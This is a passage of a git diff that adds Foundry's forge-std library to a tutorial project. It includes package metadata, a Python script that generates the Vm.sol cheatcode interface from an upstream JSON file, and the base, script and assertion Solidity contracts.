+number_underscore = 'preserve'
+single_line_statement_blocks = 'preserve'
+ignore = ["src/console.sol", "src/console2.sol"]
\ No newline at end of file
diff --git a/basic/41-foundry/my_project/lib/forge-std/package.json b/basic/41-foundry/my_project/lib/forge-std/package.json
new file mode 100644
index 000000000..acc004bee
--- /dev/null
+++ b/basic/41-foundry/my_project/lib/forge-std/package.json
@@ -0,0 +1,16 @@
+{
+  "name": "forge-std",
+  "version": "1.7.6",
+  "description": "Forge Standard Library is a collection of helpful contracts and libraries for use with Forge and Foundry.",
+  "homepage": "https://book.getfoundry.sh/forge/forge-std",
+  "bugs": "https://github.com/foundry-rs/forge-std/issues",
+  "license": "(Apache-2.0 OR MIT)",
+  "author": "Contributors to Forge Standard Library",
+  "files": [
+    "src/**/*"
+  ],
+  "repository": {
+    "type": "git",
+    "url": "https://github.com/foundry-rs/forge-std.git"
+  }
+}
diff --git a/basic/41-foundry/my_project/lib/forge-std/scripts/vm.py b/basic/41-foundry/my_project/lib/forge-std/scripts/vm.py
new file mode 100755
index 000000000..f0537db9b
--- /dev/null
+++ b/basic/41-foundry/my_project/lib/forge-std/scripts/vm.py
@@ -0,0 +1,635 @@
+#!/usr/bin/env python3
+
+import copy
+import json
+import re
+import subprocess
+from enum import Enum as PyEnum
+from typing import Callable
+from urllib import request
+
+VoidFn = Callable[[], None]
+
+CHEATCODES_JSON_URL = "https://raw.githubusercontent.com/foundry-rs/foundry/master/crates/cheatcodes/assets/cheatcodes.json"
+OUT_PATH = "src/Vm.sol"
+
+VM_SAFE_DOC = """\
+/// The `VmSafe` interface does not allow manipulation of the EVM state or other actions that may
+/// result in Script simulations differing from on-chain execution. It is recommended to only use
+/// these cheats in scripts.
+"""
+
+VM_DOC = """\
+/// The `Vm` interface does allow manipulation of the EVM state. These are all intended to be used
+/// in tests, but it is not recommended to use these cheats in scripts.
+"""
+
+
+def main():
+    json_str = request.urlopen(CHEATCODES_JSON_URL).read().decode("utf-8")
+    contract = Cheatcodes.from_json(json_str)
+
+    ccs = contract.cheatcodes
+    ccs = list(filter(lambda cc: cc.status not in ["experimental", "internal"], ccs))
+    ccs.sort(key=lambda cc: cc.func.id)
+
+    safe = list(filter(lambda cc: cc.safety == "safe", ccs))
+    safe.sort(key=CmpCheatcode)
+    unsafe = list(filter(lambda cc: cc.safety == "unsafe", ccs))
+    unsafe.sort(key=CmpCheatcode)
+    assert len(safe) + len(unsafe) == len(ccs)
+
+    prefix_with_group_headers(safe)
+    prefix_with_group_headers(unsafe)
+
+    out = ""
+
+    out += "// Automatically @generated by scripts/vm.py. Do not modify manually.\n\n"
+
+    pp = CheatcodesPrinter(
+        spdx_identifier="MIT OR Apache-2.0",
+        solidity_requirement=">=0.6.2 <0.9.0",
+        abicoder_pragma=True,
+    )
+    pp.p_prelude()
+    pp.prelude = False
+    out += pp.finish()
+
+    out += "\n\n"
+    out += VM_SAFE_DOC
+    vm_safe = Cheatcodes(
+        # TODO: Custom errors were introduced in 0.8.4
+        errors=[],  # contract.errors
+        events=contract.events,
+        enums=contract.enums,
+        structs=contract.structs,
+        cheatcodes=safe,
+    )
+    pp.p_contract(vm_safe, "VmSafe")
+    out += pp.finish()
+
+    out += "\n\n"
+    out += VM_DOC
+    vm_unsafe = Cheatcodes(
+        errors=[],
+        events=[],
+        enums=[],
+        structs=[],
+        cheatcodes=unsafe,
+    )
+    pp.p_contract(vm_unsafe, "Vm", "VmSafe")
+    out += pp.finish()
+
+    # Compatibility with <0.8.0
+    def memory_to_calldata(m: re.Match) -> str:
+        return " calldata " + m.group(1)
+
+    out = re.sub(r" memory (.*returns)", memory_to_calldata, out)
+
+    with open(OUT_PATH, "w") as f:
+        f.write(out)
+
+    forge_fmt = ["forge", "fmt", OUT_PATH]
+    res = subprocess.run(forge_fmt)
+    assert res.returncode == 0, f"command failed: {forge_fmt}"
+
+    print(f"Wrote to {OUT_PATH}")
+
+
+class CmpCheatcode:
+    cheatcode: "Cheatcode"
+
+    def __init__(self, cheatcode: "Cheatcode"):
+        self.cheatcode = cheatcode
+
+    def __lt__(self, other: "CmpCheatcode") -> bool:
+        return cmp_cheatcode(self.cheatcode, other.cheatcode) < 0
+
+    def __eq__(self, other: "CmpCheatcode") -> bool:
+        return cmp_cheatcode(self.cheatcode, other.cheatcode) == 0
+
+    def __gt__(self, other: "CmpCheatcode") -> bool:
+        return cmp_cheatcode(self.cheatcode, other.cheatcode) > 0
+
+
+def cmp_cheatcode(a: "Cheatcode", b: "Cheatcode") -> int:
+    if a.group != b.group:
+        return -1 if a.group < b.group else 1
+    if a.status != b.status:
+        return -1 if a.status < b.status else 1
+    if a.safety != b.safety:
+        return -1 if a.safety < b.safety else 1
+    if a.func.id != b.func.id:
+        return -1 if a.func.id < b.func.id else 1
+    return 0
+
+
+# HACK: A way to add group header comments without having to modify printer code
+def prefix_with_group_headers(cheats: list["Cheatcode"]):
+    s = set()
+    for i, cheat in enumerate(cheats):
+        if cheat.group in s:
+            continue
+
+        s.add(cheat.group)
+
+        c = copy.deepcopy(cheat)
+        c.func.description = ""
+        c.func.declaration = f"// ======== {group(c.group)} ========"
+        cheats.insert(i, c)
+    return cheats
+
+
+def group(s: str) -> str:
+    if s == "evm":
+        return "EVM"
+    if s == "json":
+        return "JSON"
+    return s[0].upper() + s[1:]
+
+
+class Visibility(PyEnum):
+    EXTERNAL: str = "external"
+    PUBLIC: str = "public"
+    INTERNAL: str = "internal"
+    PRIVATE: str = "private"
+
+    def __str__(self):
+        return self.value
+
+
+class Mutability(PyEnum):
+    PURE: str = "pure"
+    VIEW: str = "view"
+    NONE: str = ""
+
+    def __str__(self):
+        return self.value
+
+
+class Function:
+    id: str
+    description: str
+    declaration: str
+    visibility: Visibility
+    mutability: Mutability
+    signature: str
+    selector: str
+    selector_bytes: bytes
+
+    def __init__(
+        self,
+        id: str,
+        description: str,
+        declaration: str,
+        visibility: Visibility,
+        mutability: Mutability,
+        signature: str,
+        selector: str,
+        selector_bytes: bytes,
+    ):
+        self.id = id
+        self.description = description
+        self.declaration = declaration
+        self.visibility = visibility
+        self.mutability = mutability
+        self.signature = signature
+        self.selector = selector
+        self.selector_bytes = selector_bytes
+
+    @staticmethod
+    def from_dict(d: dict) -> "Function":
+        return Function(
+            d["id"],
+            d["description"],
+            d["declaration"],
+            Visibility(d["visibility"]),
+            Mutability(d["mutability"]),
+            d["signature"],
+            d["selector"],
+            bytes(d["selectorBytes"]),
+        )
+
+
+class Cheatcode:
+    func: Function
+    group: str
+    status: str
+    safety: str
+
+    def __init__(self, func: Function, group: str, status: str, safety: str):
+        self.func = func
+        self.group = group
+        self.status = status
+        self.safety = safety
+
+    @staticmethod
+    def from_dict(d: dict) -> "Cheatcode":
+        return Cheatcode(
+            Function.from_dict(d["func"]),
+            str(d["group"]),
+            str(d["status"]),
+            str(d["safety"]),
+        )
+
+
+class Error:
+    name: str
+    description: str
+    declaration: str
+
+    def __init__(self, name: str, description: str, declaration: str):
+        self.name = name
+        self.description = description
+        self.declaration = declaration
+
+    @staticmethod
+    def from_dict(d: dict) -> "Error":
+        return Error(**d)
+
+
+class Event:
+    name: str
+    description: str
+    declaration: str
+
+    def __init__(self, name: str, description: str, declaration: str):
+        self.name = name
+        self.description = description
+        self.declaration = declaration
+
+    @staticmethod
+    def from_dict(d: dict) -> "Event":
+        return Event(**d)
+
+
+class EnumVariant:
+    name: str
+    description: str
+
+    def __init__(self, name: str, description: str):
+        self.name = name
+        self.description = description
+
+
+class Enum:
+    name: str
+    description: str
+    variants: list[EnumVariant]
+
+    def __init__(self, name: str, description: str, variants: list[EnumVariant]):
+        self.name = name
+        self.description = description
+        self.variants = variants
+
+    @staticmethod
+    def from_dict(d: dict) -> "Enum":
+        return Enum(
+            d["name"],
+            d["description"],
+            list(map(lambda v: EnumVariant(**v), d["variants"])),
+        )
+
+
+class StructField:
+    name: str
+    ty: str
+    description: str
+
+    def __init__(self, name: str, ty: str, description: str):
+        self.name = name
+        self.ty = ty
+        self.description = description
+
+
+class Struct:
+    name: str
+    description: str
+    fields: list[StructField]
+
+    def __init__(self, name: str, description: str, fields: list[StructField]):
+        self.name = name
+        self.description = description
+        self.fields = fields
+
+    @staticmethod
+    def from_dict(d: dict) -> "Struct":
+        return Struct(
+            d["name"],
+            d["description"],
+            list(map(lambda f: StructField(**f), d["fields"])),
+        )
+
+
+class Cheatcodes:
+    errors: list[Error]
+    events: list[Event]
+    enums: list[Enum]
+    structs: list[Struct]
+    cheatcodes: list[Cheatcode]
+
+    def __init__(
+        self,
+        errors: list[Error],
+        events: list[Event],
+        enums: list[Enum],
+        structs: list[Struct],
+        cheatcodes: list[Cheatcode],
+    ):
+        self.errors = errors
+        self.events = events
+        self.enums = enums
+        self.structs = structs
+        self.cheatcodes = cheatcodes
+
+    @staticmethod
+    def from_dict(d: dict) -> "Cheatcodes":
+        return Cheatcodes(
+            errors=[Error.from_dict(e) for e in d["errors"]],
+            events=[Event.from_dict(e) for e in d["events"]],
+            enums=[Enum.from_dict(e) for e in d["enums"]],
+            structs=[Struct.from_dict(e) for e in d["structs"]],
+            cheatcodes=[Cheatcode.from_dict(e) for e in d["cheatcodes"]],
+        )
+
+    @staticmethod
+    def from_json(s) -> "Cheatcodes":
+        return Cheatcodes.from_dict(json.loads(s))
+
+    @staticmethod
+    def from_json_file(file_path: str) -> "Cheatcodes":
+        with open(file_path, "r") as f:
+            return Cheatcodes.from_dict(json.load(f))
+
+
+class Item(PyEnum):
+    ERROR: str = "error"
+    EVENT: str = "event"
+    ENUM: str = "enum"
+    STRUCT: str = "struct"
+    FUNCTION: str = "function"
+
+
+class ItemOrder:
+    _list: list[Item]
+
+    def __init__(self, list: list[Item]) -> None:
+        assert len(list) <= len(Item), "list must not contain more items than Item"
+        assert len(list) == len(set(list)), "list must not contain duplicates"
+        self._list = list
+        pass
+
+    def get_list(self) -> list[Item]:
+        return self._list
+
+    @staticmethod
+    def default() -> "ItemOrder":
+        return ItemOrder(
+            [
+                Item.ERROR,
+                Item.EVENT,
+                Item.ENUM,
+                Item.STRUCT,
+                Item.FUNCTION,
+            ]
+        )
+
+
+class CheatcodesPrinter:
+    buffer: str
+
+    prelude: bool
+    spdx_identifier: str
+    solidity_requirement: str
+    abicoder_v2: bool
+
+    block_doc_style: bool
+
+    indent_level: int
+    _indent_str: str
+
+    nl_str: str
+
+    items_order: ItemOrder
+
+    def __init__(
+        self,
+        buffer: str = "",
+        prelude: bool = True,
+        spdx_identifier: str = "UNLICENSED",
+        solidity_requirement: str = "",
+        abicoder_pragma: bool = False,
+        block_doc_style: bool = False,
+        indent_level: int = 0,
+        indent_with: int | str = 4,
+        nl_str: str = "\n",
+        items_order: ItemOrder = ItemOrder.default(),
+    ):
+        self.prelude = prelude
+        self.spdx_identifier = spdx_identifier
+        self.solidity_requirement = solidity_requirement
+        self.abicoder_v2 = abicoder_pragma
+        self.block_doc_style = block_doc_style
+        self.buffer = buffer
+        self.indent_level = indent_level
+        self.nl_str = nl_str
+
+        if isinstance(indent_with, int):
+            assert indent_with >= 0
+            self._indent_str = " " * indent_with
+        elif isinstance(indent_with, str):
+            self._indent_str = indent_with
+        else:
+            assert False, "indent_with must be int or str"
+
+        self.items_order = items_order
+
+    def finish(self) -> str:
+        ret = self.buffer.rstrip()
+        self.buffer = ""
+        return ret
+
+    def p_contract(self, contract: Cheatcodes, name: str, inherits: str = ""):
+        if self.prelude:
+            self.p_prelude(contract)
+
+        self._p_str("interface ")
+        name = name.strip()
+        if name != "":
+            self._p_str(name)
+            self._p_str(" ")
+        if inherits != "":
+            self._p_str("is ")
+            self._p_str(inherits)
+            self._p_str(" ")
+        self._p_str("{")
+        self._p_nl()
+        self._with_indent(lambda: self._p_items(contract))
+        self._p_str("}")
+        self._p_nl()
+
+    def _p_items(self, contract: Cheatcodes):
+        for item in self.items_order.get_list():
+            if item == Item.ERROR:
+                self.p_errors(contract.errors)
+            elif item == Item.EVENT:
+                self.p_events(contract.events)
+            elif item == Item.ENUM:
+                self.p_enums(contract.enums)
+            elif item == Item.STRUCT:
+                self.p_structs(contract.structs)
+            elif item == Item.FUNCTION:
+                self.p_functions(contract.cheatcodes)
+            else:
+                assert False, f"unknown item {item}"
+
+    def p_prelude(self, contract: Cheatcodes | None = None):
+        self._p_str(f"// SPDX-License-Identifier: {self.spdx_identifier}")
+        self._p_nl()
+
+        if self.solidity_requirement != "":
+            req = self.solidity_requirement
+        elif contract and len(contract.errors) > 0:
+            req = ">=0.8.4 <0.9.0"
+        else:
+            req = ">=0.6.0 <0.9.0"
+        self._p_str(f"pragma solidity {req};")
+        self._p_nl()
+
+        if self.abicoder_v2:
+            self._p_str("pragma experimental ABIEncoderV2;")
+            self._p_nl()
+
+        self._p_nl()
+
+    def p_errors(self, errors: list[Error]):
+        for error in errors:
+            self._p_line(lambda: self.p_error(error))
+
+    def p_error(self, error: Error):
+        self._p_comment(error.description, doc=True)
+        self._p_line(lambda: self._p_str(error.declaration))
+
+    def p_events(self, events: list[Event]):
+        for event in events:
+            self._p_line(lambda: self.p_event(event))
+
+    def p_event(self, event: Event):
+        self._p_comment(event.description, doc=True)
+        self._p_line(lambda: self._p_str(event.declaration))
+
+    def p_enums(self, enums: list[Enum]):
+        for enum in enums:
+            self._p_line(lambda: self.p_enum(enum))
+
+    def p_enum(self, enum: Enum):
+        self._p_comment(enum.description, doc=True)
+        self._p_line(lambda: self._p_str(f"enum {enum.name} {{"))
+        self._with_indent(lambda: self.p_enum_variants(enum.variants))
+        self._p_line(lambda: self._p_str("}"))
+
+    def p_enum_variants(self, variants: list[EnumVariant]):
+        for i, variant in enumerate(variants):
+            self._p_indent()
+            self._p_comment(variant.description)
+
+            self._p_indent()
+            self._p_str(variant.name)
+            if i < len(variants) - 1:
+                self._p_str(",")
+            self._p_nl()
+
+    def p_structs(self, structs: list[Struct]):
+        for struct in structs:
+            self._p_line(lambda: self.p_struct(struct))
+
+    def p_struct(self, struct: Struct):
+        self._p_comment(struct.description, doc=True)
+        self._p_line(lambda: self._p_str(f"struct {struct.name} {{"))
+        self._with_indent(lambda: self.p_struct_fields(struct.fields))
+        self._p_line(lambda: self._p_str("}"))
+
+    def p_struct_fields(self, fields: list[StructField]):
+        for field in fields:
+            self._p_line(lambda: self.p_struct_field(field))
+
+    def p_struct_field(self, field: StructField):
+        self._p_comment(field.description)
+        self._p_indented(lambda: self._p_str(f"{field.ty} {field.name};"))
+
+    def p_functions(self, cheatcodes: list[Cheatcode]):
+        for cheatcode in cheatcodes:
+            self._p_line(lambda: self.p_function(cheatcode.func))
+
+    def p_function(self, func: Function):
+        self._p_comment(func.description, doc=True)
+        self._p_line(lambda: self._p_str(func.declaration))
+
+    def _p_comment(self, s: str, doc: bool = False):
+        s = s.strip()
+        if s == "":
+            return
+
+        s = map(lambda line: line.lstrip(), s.split("\n"))
+        if self.block_doc_style:
+            self._p_str("/*")
+            if doc:
+                self._p_str("*")
+            self._p_nl()
+            for line in s:
+                self._p_indent()
+                self._p_str(" ")
+                if doc:
+                    self._p_str("* ")
+                self._p_str(line)
+                self._p_nl()
+            self._p_indent()
+            self._p_str(" */")
+            self._p_nl()
+        else:
+            first_line = True
+            for line in s:
+                if not first_line:
+                    self._p_indent()
+                first_line = False
+
+                if doc:
+                    self._p_str("/// ")
+                else:
+                    self._p_str("// ")
+                self._p_str(line)
+                self._p_nl()
+
+    def _with_indent(self, f: VoidFn):
+        self._inc_indent()
+        f()
+        self._dec_indent()
+
+    def _p_line(self, f: VoidFn):
+        self._p_indent()
+        f()
+        self._p_nl()
+
+    def _p_indented(self, f: VoidFn):
+        self._p_indent()
+        f()
+
+    def _p_indent(self):
+        for _ in range(self.indent_level):
+            self._p_str(self._indent_str)
+
+    def _p_nl(self):
+        self._p_str(self.nl_str)
+
+    def _p_str(self, txt: str):
+        self.buffer += txt
+
+    def _inc_indent(self):
+        self.indent_level += 1
+
+    def _dec_indent(self):
+        self.indent_level -= 1
+
+
+if __name__ == "__main__":
+    main()
diff --git a/basic/41-foundry/my_project/lib/forge-std/src/Base.sol b/basic/41-foundry/my_project/lib/forge-std/src/Base.sol
new file mode 100644
index 000000000..da5292670
--- /dev/null
+++ b/basic/41-foundry/my_project/lib/forge-std/src/Base.sol
@@ -0,0 +1,33 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.6.2 <0.9.0;
+
+import {StdStorage} from './StdStorage.sol';
+import {Vm, VmSafe} from './Vm.sol';
+
+abstract contract CommonBase {
+    // Cheat code address, 0x7109709ECfa91a80626fF3989D68f67F5b1DD12D.
+    address internal constant VM_ADDRESS = address(uint160(uint256(keccak256('hevm cheat code'))));
+    // console.sol and console2.sol work by executing a staticcall to this address.
+    address internal constant CONSOLE = 0x000000000000000000636F6e736F6c652e6c6f67;
+    // Used when deploying with create2, https://github.com/Arachnid/deterministic-deployment-proxy.
+    address internal constant CREATE2_FACTORY = 0x4e59b44847b379578588920cA78FbF26c0B4956C;
+    // Default address for tx.origin and msg.sender, 0x1804c8AB1F12E6bbf3894d4083f33e07309d1f38.
+    address internal constant DEFAULT_SENDER = address(uint160(uint256(keccak256('foundry default caller'))));
+    // Address of the test contract, deployed by the DEFAULT_SENDER.
+    address internal constant DEFAULT_TEST_CONTRACT = 0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f;
+    // Deterministic deployment address of the Multicall3 contract.
+    address internal constant MULTICALL3_ADDRESS = 0xcA11bde05977b3631167028862bE2a173976CA11;
+    // The order of the secp256k1 curve.
+    uint256 internal constant SECP256K1_ORDER = 115792089237316195423570985008687907852837564279074904382605163141518161494337;
+
+    uint256 internal constant UINT256_MAX = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
+
+    Vm internal constant vm = Vm(VM_ADDRESS);
+    StdStorage internal stdstore;
+}
+
+abstract contract TestBase is CommonBase {}
+
+abstract contract ScriptBase is CommonBase {
+    VmSafe internal constant vmSafe = VmSafe(VM_ADDRESS);
+}
diff --git a/basic/41-foundry/my_project/lib/forge-std/src/Script.sol b/basic/41-foundry/my_project/lib/forge-std/src/Script.sol
new file mode 100644
index 000000000..036964337
--- /dev/null
+++ b/basic/41-foundry/my_project/lib/forge-std/src/Script.sol
@@ -0,0 +1,27 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.6.2 <0.9.0;
+
+// 💬 ABOUT
+// Forge Std's default Script.
+
+// 🧩 MODULES
+import {console} from './console.sol';
+import {console2} from './console2.sol';
+import {safeconsole} from './safeconsole.sol';
+import {StdChains} from './StdChains.sol';
+import {StdCheatsSafe} from './StdCheats.sol';
+import {stdJson} from './StdJson.sol';
+import {stdMath} from './StdMath.sol';
+import {StdStorage, stdStorageSafe} from './StdStorage.sol';
+import {StdStyle} from './StdStyle.sol';
+import {StdUtils} from './StdUtils.sol';
+import {VmSafe} from './Vm.sol';
+
+// 📦 BOILERPLATE
+import {ScriptBase} from './Base.sol';
+
+// ⭐️ SCRIPT
+abstract contract Script is ScriptBase, StdChains, StdCheatsSafe, StdUtils {
+    // Note: IS_SCRIPT() must return true.
+    bool public IS_SCRIPT = true;
+}
diff --git a/basic/41-foundry/my_project/lib/forge-std/src/StdAssertions.sol b/basic/41-foundry/my_project/lib/forge-std/src/StdAssertions.sol
new file mode 100644
index 000000000..5ecd2bcf4
--- /dev/null
+++ b/basic/41-foundry/my_project/lib/forge-std/src/StdAssertions.sol
@@ -0,0 +1,631 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.6.2 <0.9.0;
+pragma experimental ABIEncoderV2;
+
+import {Vm} from './Vm.sol';
+
+abstract contract StdAssertions {
+    Vm private constant vm = Vm(address(uint160(uint256(keccak256('hevm cheat code')))));
+
+    event log(string);
+    event logs(bytes);
+
+    event log_address(address);
+    event log_bytes32(bytes32);
+    event log_int(int256);
+    event log_uint(uint256);
+    event log_bytes(bytes);
+    event log_string(string);
+
+    event log_named_address(string key, address val);
+    event log_named_bytes32(string key, bytes32 val);
+    event log_named_decimal_int(string key, int256 val, uint256 decimals);
+    event log_named_decimal_uint(string key, uint256 val, uint256 decimals);
+    event log_named_int(string key, int256 val);
+    event log_named_uint(string key, uint256 val);
+    event log_named_bytes(string key, bytes val);
+    event log_named_string(string key, string val);
+
+    event log_array(uint256[] val);
+    event log_array(int256[] val);
+    event log_array(address[] val);
+    event log_named_array(string key, uint256[] val);
+    event log_named_array(string key, int256[] val);
+    event log_named_array(string key, address[] val);
+
+    bool private _failed;
+
+    function failed() public view returns (bool) {
+        if (_failed) {
+            return _failed;
+        } else {
+            return vm.load(address(vm), bytes32('failed')) != bytes32(0);
+        }
+    }
+
+    function fail() internal virtual {
+        vm.store(address(vm), bytes32('failed'), bytes32(uint256(1)));
+        _failed = true;
+    }
+
+    function assertTrue(bool data) internal pure virtual {
+        vm.assertTrue(data);
+    }
+
+    function assertTrue(bool data, string memory err) internal pure virtual {
+        vm.assertTrue(data, err);
+    }
+
+    function assertFalse(bool data) internal pure virtual {
+        vm.assertFalse(data);
+    }
+
+    function assertFalse(bool data, string memory err) internal pure virtual {
+        vm.assertFalse(data, err);
+    }
+
+    function assertEq(bool left, bool right) internal pure virtual {
+        vm.assertEq(left, right);
+    }
+
+    function assertEq(bool left, bool right, string memory err) internal pure virtual {
+        vm.assertEq(left, right, err);
+    }
+
+    function assertEq(uint256 left, uint256 right) internal pure virtual {
+        vm.assertEq(left, right);
+    }
+
+    function assertEq(uint256 left, uint256 right, string memory err) internal pure virtual {
+        vm.assertEq(left, right, err);
+    }
+
+    function assertEqDecimal(uint256 left, uint256 right, uint256 decimals) internal pure virtual {
+        vm.assertEqDecimal(left, right, decimals);
+    }
+
+    function assertEqDecimal(uint256 left, uint256 right, uint256 decimals, string memory err) internal pure virtual {
+        vm.assertEqDecimal(left, right, decimals, err);
+    }
+
+    function assertEq(int256 left, int256 right) internal pure virtual {
+        vm.assertEq(left, right);
+    }
+
+    function assertEq(int256 left, int256 right, string memory err) internal pure virtual {
+        vm.assertEq(left, right, err);
+    }
+
+    function assertEqDecimal(int256 left, int256 right, uint256 decimals) internal pure virtual {
+        vm.assertEqDecimal(left, right, decimals);
+    }
+
+    function assertEqDecimal(int256 left, int256 right, uint256 decimals, string memory err) internal pure virtual {
+        vm.assertEqDecimal(left, right, decimals, err);
+    }
+
+    function assertEq(address left, address right) internal pure virtual {
+        vm.assertEq(left, right);
+    }
+
+    function assertEq(address left, address right, string memory err) internal pure virtual {
+        vm.assertEq(left, right, err);
+    }
+
+    function assertEq(bytes32 left, bytes32 right) internal pure virtual {
+        vm.assertEq(left, right);
+    }
+
+    function assertEq(bytes32 left, bytes32 right, string memory err) internal pure virtual {
+        vm.assertEq(left, right, err);
+    }
+
+    function assertEq32(bytes32 left, bytes32 right) internal pure virtual {
+        assertEq(left, right);
+    }
+
+    function assertEq32(bytes32 left, bytes32 right, string memory err) internal pure virtual {
+        assertEq(left, right, err);
+    }
+
+    function assertEq(string memory left, string memory right) internal pure virtual {
+        vm.assertEq(left, right);
+    }
+
+    function assertEq(string memory left, string memory right, string memory err) internal pure virtual {
+        vm.assertEq(left, right, err);
+    }
+
+    function assertEq(bytes memory left, bytes memory right) internal pure virtual {
+        vm.assertEq(left, right);
+    }
+
+    function assertEq(bytes memory left, bytes memory right, string memory err) internal pure virtual {
+        vm.assertEq(left, right, err);
+    }
+
+    function assertEq(bool[] memory left, bool[] memory right) internal pure virtual {
+        vm.assertEq(left, right);
+    }
+
+    function assertEq(bool[] memory left, bool[] memory right, string memory err) internal pure virtual {
+        vm.assertEq(left, right, err);
+    }
+
+    function assertEq(uint256[] memory left, uint256[] memory right) internal pure virtual {
+        vm.assertEq(left, right);
+    }
+
+    function assertEq(uint256[] memory left, uint256[] memory right, string memory err) internal pure virtual {
+        vm.assertEq(left, right, err);
+    }
+
+    function assertEq(int256[] memory left, int256[] memory right) internal pure virtual {
+        vm.assertEq(left, right);
+    }
+
+    function assertEq(int256[] memory left, int256[] memory right, string memory err) internal pure virtual {
+        vm.assertEq(left, right, err);
+    }
+
+    function assertEq(address[] memory left, address[] memory right) internal pure virtual {
+        vm.assertEq(left, right);
+    }
+
+    function assertEq(address[] memory left, address[] memory right, string memory err) internal pure virtual {
+        vm.assertEq(left, right, err);
+    }
+
+    function assertEq(bytes32[] memory left, bytes32[] memory right) internal pure virtual {
+        vm.assertEq(left, right);
+    }
+
+    function assertEq(bytes32[] memory left, bytes32[] memory right, string memory err) internal pure virtual {
+        vm.assertEq(left, right, err);
+    }
+
+    function assertEq(string[] memory left, string[] memory right) internal pure virtual {
+        vm.assertEq(left, right);
+    }
+
+    function assertEq(string[] memory left, string[] memory right, string memory err) internal pure virtual {
+        vm.assertEq(left, right, err);
+    }
+
+    function assertEq(bytes[] memory left, bytes[] memory right) internal pure virtual {
+        vm.assertEq(left, right);
+    }
+
+    function assertEq(bytes[] memory left, bytes[] memory right, string memory err) internal pure virtual {
+        vm.assertEq(left, right, err);
+    }
+
+    // Legacy helper
+    function assertEqUint(uint256 left, uint256 right) internal pure virtual {
+        assertEq(left, right);
+    }
+
+    function assertNotEq(bool left, bool right) internal pure virtual {
+        vm.assertNotEq(left, right);
+    }
+
+    function assertNotEq(bool left, bool right, string memory err) internal pure virtual {
+        vm.assertNotEq(left, right, err);
+    }
+
+    function assertNotEq(uint256 left, uint256 right) internal pure virtual {
+        vm.assertNotEq(left, right);
+    }
+
+    function assertNotEq(uint256 left, uint256 right, string memory err) internal pure virtual {
+        vm.assertNotEq(left, right, err);
+    }
+
+    function assertNotEqDecimal(uint256 left, uint256 right, uint256 decimals) internal pure virtual {
+        vm.assertNotEqDecimal(left, right, decimals);
+    }
+
+    function assertNotEqDecimal(uint256 left, uint256 right, uint256 decimals, string memory err) internal pure virtual {
+        vm.assertNotEqDecimal(left, right, decimals, err);
+    }
+
+    function assertNotEq(int256 left, int256 right) internal pure virtual {
+        vm.assertNotEq(left, right);
+    }
+
+    function assertNotEq(int256 left, int256 right, string memory err) internal pure virtual {
+        vm.assertNotEq(left, right, err);
+    }
+
+    function assertNotEqDecimal(int256 left, int256 right, uint256 decimals) internal pure virtual {
+        vm.assertNotEqDecimal(left, right, decimals);
+    }
+
+    function assertNotEqDecimal(int256 left, int256 right, uint256 decimals, string memory err) internal pure virtual {
+        vm.assertNotEqDecimal(left, right, decimals, err);
+    }
+
+    function assertNotEq(address left, address right) internal pure virtual {
+        vm.assertNotEq(left, right);
+    }
+
+    function assertNotEq(address left, address right, string memory err) internal pure virtual {
+        vm.assertNotEq(left, right, err);
+    }
+
+    function assertNotEq(bytes32 left, bytes32 right) internal pure virtual {
+        vm.assertNotEq(left, right);
+    }
+
+    function assertNotEq(bytes32 left, bytes32 right, string memory err) internal pure virtual {
+        vm.assertNotEq(left, right, err);
+    }
+
+    function assertNotEq32(bytes32 left, bytes32 right) internal pure virtual {
+        assertNotEq(left, right);
+    }
+
+    function assertNotEq32(bytes32 left, bytes32 right, string memory err) internal pure virtual {
+        assertNotEq(left, right, err);
+    }
+
+    function assertNotEq(string memory left, string memory right) internal pure virtual {
+        vm.assertNotEq(left, right);
+    }
+
+    function assertNotEq(string memory left, string memory right, string memory err) internal pure virtual {
+        vm.assertNotEq(left, right, err);
+    }
+
+    function assertNotEq(bytes memory left, bytes memory right) internal pure virtual {
+        vm.assertNotEq(left, right);
+    }
+
+    function assertNotEq(bytes memory left, bytes memory right, string memory err) internal pure virtual {
+        vm.assertNotEq(left, right, err);
+    }
+
+    function assertNotEq(bool[] memory left, bool[] memory right) internal pure virtual {
+        vm.assertNotEq(left, right);
+    }
+
+    function assertNotEq(bool[] memory left, bool[] memory right, string memory err) internal pure virtual {
+        vm.assertNotEq(left, right, err);
+    }
+
+    function assertNotEq(uint256[] memory left, uint256[] memory right) internal pure virtual {
+        vm.assertNotEq(left, right);
+    }
+
+    function assertNotEq(uint256[] memory left, uint256[] memory right, string memory err) internal pure virtual {
+        vm.assertNotEq(left, right, err);
+    }
+
+    function assertNotEq(int256[] memory left, int256[] memory right) internal pure virtual {
+        vm.assertNotEq(left, right);
+    }
+
+    function assertNotEq(int256[] memory left, int256[] memory right, string memory err) internal pure virtual {
+        vm.assertNotEq(left, right, err);
+    }
+
+    function assertNotEq(address[] memory left, address[] memory right) internal pure virtual {
+        vm.assertNotEq(left, right);
+    }
+
+    function assertNotEq(address[] memory left, address[] memory right, string memory err) internal pure virtual {
+        vm.assertNotEq(left, right, err);
+    }
+
+    function assertNotEq(bytes32[] memory left, bytes32[] memory right) internal pure virtual {
+        vm.assertNotEq(left, right);
+    }
+
+    function assertNotEq(bytes32[] memory left, bytes32[] memory right, string memory err) internal pure virtual {
+        vm.assertNotEq(left, right, err);
+    }
+
+    function assertNotEq(string[] memory left, string[] memory right) internal pure virtual {
+        vm.assertNotEq(left, right);
+    }
+
+    function assertNotEq(string[] memory left, string[] memory right, string memory err) internal pure virtual {
+        vm.assertNotEq(left, right, err);
+    }
+
+    function assertNotEq(bytes[] memory left, bytes[] memory right) internal pure virtual {
+        vm.assertNotEq(left, right);
+    }
+
+    function assertNotEq(bytes[] memory left, bytes[] memory right, string memory err) internal pure virtual {
+        vm.assertNotEq(left, right, err);
+    }
+
+    function assertLt(uint256 left, uint256 right) internal pure virtual {
+        vm.assertLt(left, right);
+    }
+
+    function assertLt(uint256 left, uint256 right, string memory err) internal pure virtual {
+        vm.assertLt(left, right, err);
+    }
+
+    function assertLtDecimal(uint256 left, uint256 right, uint256 decimals) internal pure virtual {
+        vm.assertLtDecimal(left, right, decimals);
+    }
+
+    function assertLtDecimal(uint256 left, uint256 right, uint256 decimals, string memory err) internal pure virtual {
+        vm.assertLtDecimal(left, right, decimals, err);
+    }
+
